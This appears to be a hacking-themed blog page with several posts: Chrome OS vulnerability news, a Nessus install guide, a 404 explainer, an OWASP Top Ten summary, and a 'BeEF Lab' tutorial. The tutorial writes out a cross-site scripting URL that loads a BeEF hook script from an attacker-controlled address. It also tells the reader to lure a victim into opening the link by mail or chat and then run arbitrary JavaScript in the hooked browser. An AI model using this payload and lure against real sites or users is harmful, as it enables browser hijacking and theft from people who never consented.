Hacking

Hacking is an ART OF EXPLOITATION.

Nessus

One of Good Network Vulnerability Scanner.

Accunetix

Web Application Scanner.

BeEF

Do You Love BeEF, Its an Browser Based Exploitation Framework.

Wikileaks

WikiLeaks is an international, online, non-profit[2] organisation which publishes secret information, news leaks, and classified media from anonymous sources.

Showing posts with label vulnerabilities. Show all posts
Showing posts with label vulnerabilities. Show all posts

Tuesday, April 16, 2013

Google Fixes Three High-Risk Flaws in Chrome OS

Google has fixed a series of serious vulnerabilities in its Chrome OS, including three high-risk bugs that could be used for code execution on vulnerable machines. As part of its reward program, Google paid out more than $30,000 to a researcher who found three of the vulnerabilities.

All of the vulnerabilities that Google fixed in Chrome OS are in the O3D plugin, an API that enables developers to create 3D applications for the Web. Three of the vulnerabilities are high-risk and the other flaw is rated a medium severity bug.

Here are the vulnerabilities that Google fixed in Chrome OS 26:

[227197] Medium CVE-2013-2832: Uninitialized memory left in buffer in O3D plug-in.Credit to Ralf-Philipp Weinmann.

[227181] High CVE-2013-2833: Use-after-free in O3D plug-in. Credit to Ralf-Philipp Weinmann.

[227158] High CVE-2013-2834: Origin lock bypass of O3D and Google Talk plug-ins. Credit to Ralf-Philipp Weinmann.

[196456] High CVE-2013-2835: Origin lock bypass of O3D and Google Talk plug-ins. Credit to Google Chrome Security Team (Chris Evans).

Ralf-Philipp Weinmann, the researcher who discovered three of the flaws, received $31,336 in bug bounties for his work. That's at the highest end of the rewards that Google pays out in its Chromium reward program. Most of the rewards are in the $1,000-$3,000 range, with some going above that, depending upon the severity of the vulnerability and difficulty of exploitation.

"We’re pleased to reward Ralf-Philipp Weinmann $31,336 under the Chromium Vulnerability Rewards Program for a chain of three bugs, including demo exploit code and very detailed write-up. We are grateful to Ralf for his work to help keep our users safe," Ben Henry of the Chrome team said in a blog post.

(Taken from Threat Post)

Monday, October 1, 2012

Installing Nessus on Backtrack 5R3

Hello Friends,

Today i am showing how to install Nessus on Backtrack 5 R3

First go to the Nessus Website and register by clicking here

the Activation code will be send to your e-mail ID, Now take the Activation code

Open an new terminal in Backtrack 5R3  and type the following command to download the Nessus

apt-get install nessus

after complete download next type this command

root@bt:/opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx

it will take some time so that the plugins will be updated

Now add an user to the Nessus by using this command,

root@bt:/opt/nessus/sbin/nessus-adduser

now it will ask for username and password,after entering the username and password you have to start the nessus by typing the following command.

root@bt:/etc/init.d/nessusd start

it will start the nessus, now open the browser and type the following command in the URL of the browser

https://localhost:8834/

The nessus will run on the secure channel https and on the port number 8834

Bydefault the nessus will run on port number 8834

after installing you just have to run


Thank you.




Tuesday, September 4, 2012

BeEF Lab


Hello friends

we seen how to start and test BeEF in the previous post. Now in this post we will be seeing how to work with XSS Vulnerability by using BeEF Framework.

Lab Setting:


1.XP Virtual Machine (Victim)
2.Backtrack VM (Attacker)

Attacker:


1.Start BeEF in the Backtrack.

Now we will get the UI URL and the HOOK URL



2.Open the browser (any browser but firefox is preferable)

3.Copy the UI URL from the terminal and paste it in a URL of a browser http://192.168.0.103:3000/ui/panel

4.Now you will get the login screen of beef

5.Enter the username and password as beef/beef



6.Take any site that is vulnerable to xss ex: demo.testfire.net

7.Check for the cross site scripting vulnerability with simple script <script>alert(123);</script>



8.paste that script in the search box of demo.testfire.net



9.See if you are getting the pop up box or not



10.see the URL in the website http://demo.testfire.net/search.aspx?txtSearch=<script>alert(123);</script>

11.Frame the URL with like this <script src=http://192.168.0.103:3000/hook.js></script>

http://demo.testfire.net/search.aspx?txtSearch=<script src=http://192.168.0.103:3000/hook.js></script>



12.perform some social engineering to send the link to victim by using the mail or chat

Victim:


1.Now victim open the link the attacker sended nothing changed, the page is as usual

Attacker:


when ever the victim opens that link check in the beef user interface

the beef will create a zombie of victim system

click on the zombie which created



Go to the Commands tab --> Misc --> Raw javascript --> Execute



and see in the victim machine i.e,XP



now u can execute what ever the commands u want on the victim machine.

in the next post i will show how to integrate the metasploit with the beef framework

thank u

Monday, January 16, 2012

What is 404 Error ?


While Browsing through net you all might probably encounter this “Error 404?Page not found” is the error page displayed whenever requested page is simply not available on your site. The reason for this might occur is that there may be a link on your site that was wrong or the page might have been recently removed from the site. As there is no web page to display, the web server sends a page that simply says “404 Page not found”.

When we expand the code 404, the first digit “4” represents a client error. The server indicates that you did a mistake like misspelling the URL or requesting for a page that is no longer available.

The middle digit, 0 represents a general syntax error and could indicate a spelling mistake.

The last digit, 4 refers to a specific error in the group of 40x.

The 404 error message is an HTTP (Hypertext Transfer Protocol) standard status code. This “Not Found” response code indicates that although the client could communicate to the server, the server could not find what was requested or it was configured not to fulfill the request.

The 404 “Not Found” error is not the same as the “Server Not Found” error which you see whenever a connection to the destination server could not be established at all.

Whenever you visit a web page, your computer will request data from a server through HTTP. Even before the requested page is displayed in your browser, the web server will send the HTTP header that has the status code. The status code provides information about the status of the request. A normal web page gets the status code as 200. But we do not see this as the server proceeds to send the contents of the page. It’s only when there is an error, we see the status code 404 Not Found.

Saturday, April 9, 2011

OWASP Top Ten 2010 Web App Risks

"OWASP was started in September 2000 with its mission to create an open source community where people could advance their knowledge about web application and web services security issues by either contributing their knowledge to the education of others or by learning about the topic from documentation and software produced by the project. At the time the web application security market was just emerging and certain vendors were pedaling some significant marketing claims around products that really only tested a small portion of the problems web applications were facing and service companies were marketing application security testing that was really left companies with a false sense of security."

The OWASP Top Ten List represents a broad consensus about what the most critical web application security flaws are, as determined by a variety of security experts from around the world. This information is very useful for determining if a web application being secure code. The OWASP survey has added extra weight as it has become a recommendation or required best practice from a number of highly regarded sources.The major companies all using the OWASP top 10 as a guide in their web application development.

The OWASP Top 10 web Application Risks as of 2010 list, are

1. Injection

Using almost any source of data, an attacker can send a simple piece of code that exploits the syntax of a targeted interpreter. Injection can lead to data loss, corruption, or complete host takeover. To prevent injection, the use of interpreters must separate untrusted data from commands and queries. An SQL call, for example, should use bind variables and avoid dynamic queries.
2. Cross Site Scripting

This has been one of the biggest security vulnerabilities on the web for some time now.It allows attackers to hijack a user's current session and either steal information or insert hostile content. Static and dynamic tools can find some XSS problems automatically, but because each application builds output pages as JavaScript, ActiveX, Flash, Silverlight, etc., automated detection is insufficient. Manual code review and penetration testing is needed. To prevent XSS, your application must keep untrusted data separate from active browser content.
3. Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.
4. Insecure Direct Object References

This technique is used by an attacker who is already an authorized user. They simply change a parameter value to refer a system object to another object to gain access to other data and compromise it. All object references must have proper defenses by asking for authorization to specific resources and limiting indirect references to values authorized for the current user.
5. Cross-Site Request Forgery (CSRF)

In this attack, a forged HTTP request is used to trick victims into submitting them. Image tags, XSS, and many other techniques are used to trick users. Attackers use this to have hostile data manipulation performed on the victim's account. The simplest test for this vulnerability is to check each link and form to see if they contain an unpredictable token for each user so that attackers can't forge malicious requests. Unpredictable tokens should be included in the body or URL of each HTTP request and be unique for every user session and request.
6 Security Misconfiguration

Default accounts, unused pages, unpatched flaws, and directories can all be accessed by attackers to gain unauthorized access. Appropriate security hardening should be performed across the entire application stack to prevent this attack. Software (including ALL code libraries) should be kept up-to-date and unnecessary ports, services, pages, accounts, etc. should be removed.
7 Insecure Cryptographic Storage

Typically, hackers won't break through the cryptography directly. Instead they'll find keys, get cleartext copies of data, or find channels that automatically decrypt. To protect encrypted data, you must encrypt it in every area where it is stored long-term. Decrypted copies of the data and keys must be protected by requiring authorization
8 Failure to Restrict URL Access

This vulnerability is so easy to exploit that it must not be ignored. If the security hole exists, an attacker could simply modify a URL to access a privileged page and possibly escalate their privileges further. Developers must verify every single page and make sure external security mechanisms or code level protections are configured properly for each page. Policies should be highly configurable to minimize hard coded issues, and enforcement mechanisms should deny access by default by requiring specific grants for users.

9. Insufficient Transport Layer Protection

If user network traffic is not monitored properly, an attacker can expose data and steal accounts. A bad SSL setup can even facilitate MITM or phishing attacks. The easiest solution is to require SSL for the entire site or at least on private pages. The SSL provider should support only strong algorithms and the secure flag should be on all cookies.
10. Unvalidated Redirects and Forwards

Web apps that redirect or forward users to other URLs without proper validation of input data used to make such decisions may be vulnerable to attacks that redirect users to phishing or malware sites.